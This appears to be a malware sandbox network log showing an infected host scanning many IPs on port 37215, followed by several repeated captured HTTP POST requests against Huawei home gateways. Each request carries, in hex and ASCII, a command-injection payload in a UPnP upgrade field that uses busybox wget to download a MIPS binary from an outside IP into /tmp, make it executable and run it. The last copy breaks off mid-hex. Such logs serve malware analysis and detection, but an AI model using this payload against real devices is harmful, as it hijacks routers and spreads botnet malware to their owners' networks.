Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 197.97.5.66:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.1.5.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.253.18.78:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.99.237.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.25.80.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 197.85.122.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.140.17.240:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.211.142.254:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 197.167.139.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 197.212.59.154:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.63.240.236:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.126.236.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.236.184.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.221.202.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.22.190.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.28.209.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.186.245.138:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 197.131.68.66:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.15.255.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.46.5.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.185.163.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.110.56.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 197.135.132.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.108.41.140:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.245.145.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 197.82.187.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.135.96.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.209.40.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.22.105.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.60.2.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 197.30.233.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.246.188.228:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.51.197.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 197.131.220.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.160.194.164:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 197.64.113.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.229.15.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 197.164.171.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.26.132.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 197.237.164.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.196.117.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.81.115.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.178.6.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.67.166.242:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.236.185.33:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.174.253.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 197.156.139.128:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.115.236.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.75.33.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.100.57.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.230.206.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.92.82.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 156.76.49.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:40597 -> 41.165.48.221:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 